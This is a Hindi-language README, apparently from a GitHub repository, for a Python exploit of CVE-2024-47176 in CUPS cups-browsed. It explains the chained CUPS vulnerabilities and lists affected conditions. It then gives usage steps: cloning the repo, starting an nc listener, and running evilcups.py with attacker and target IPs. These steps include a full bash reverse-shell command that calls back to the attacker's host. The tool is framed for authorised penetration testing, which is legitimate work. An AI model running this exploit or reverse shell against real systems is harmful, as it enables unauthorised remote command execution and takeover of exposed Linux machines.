
CVE-2024-47176 के लिए Python एक्सप्लॉइट जो CUPS cups-browsed में क्राफ्टेड UDP पैकेट्स के माध्यम से रिमोट कमांड निष्पादन प्राप्त करता है। अधिकृत पेनिट्रेशन टेस्टिंग के लिए रिवर्स शेल पेलोड डिलीवरी शामिल है।
केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए।
CUPS (Common UNIX Printing System) एक ओपन-सोर्स प्रिंटिंग सिस्टम है जो नेटवर्क प्रिंटर को प्रबंधित करता है। CVE-2024-47176 डेमॉन को लक्षित करता है, जो पर बाइंड होता है और किसी भी स्रोत से पैकेट पर आंख मूंदकर भरोसा करता है।
cups-browsedINADDR_ANY:631एक दुर्भावनापूर्ण UDP पैकेट बनाकर जो Get-Printer-Attributes IPP अनुरोध को ट्रिगर करता है, एक हमलावर cups-browsed को एक हमलावर-नियंत्रित सर्वर से कनेक्ट करने के लिए प्रेरित कर सकता है — और जब नीचे दी गई कमजोरियों के साथ संयुक्त किया जाता है, तो मनमाना दूरस्थ कमांड निष्पादन प्राप्त कर सकता है।
| घटक | शर्त |
|---|---|
cups-browsed | UDP 631 पर सुन रहा है (डिफ़ॉल्ट) |
| CUPS < 2.4.11 | अप्रबंधित संस्करण |
| CUPS के साथ Linux सिस्टम उजागर | पोर्ट 631 हमलावर से पहुँच योग्य |
| CVE | विवरण |
|---|---|
| CVE-2024-47176 | cups-browsed पोर्ट 631 पर किसी भी UDP पैकेट पर भरोसा करता है |
| CVE-2024-47076 | libcupsfilters IPP गुणों को साफ नहीं करता |
| CVE-2024-47175 | libppd असुरक्षित डेटा को PPD फ़ाइलों में इंजेक्ट करता है |
| CVE-2024-47177 | cups-filters PPD के माध्यम से कमांड निष्पादन की अनुमति देता है |
nmap (वैकल्पिक, टोही के लिए)1. रिपॉजिटरी क्लोन करें:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. आवश्यक Python निर्भरता स्थापित करें:
pip install ippserver
3. अपनी मशीन पर एक श्रोता शुरू करें:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
उदाहरण — रिवर्स शेल:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
एक्सप्लॉइट चलाने के बाद, पेलोड को निष्पादित करने के लिए लक्ष्य पर एक प्रिंट जॉब ट्रिगर करें (या स्वचालित जाँच की प्रतीक्षा करें)।
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए है। इस उपकरण का उपयोग उन सिस्टम के खिलाफ करना जिनके मालिक नहीं हैं या जिनके लिए स्पष्ट लिखित अनुमति नहीं है, अवैध और अनैतिक है।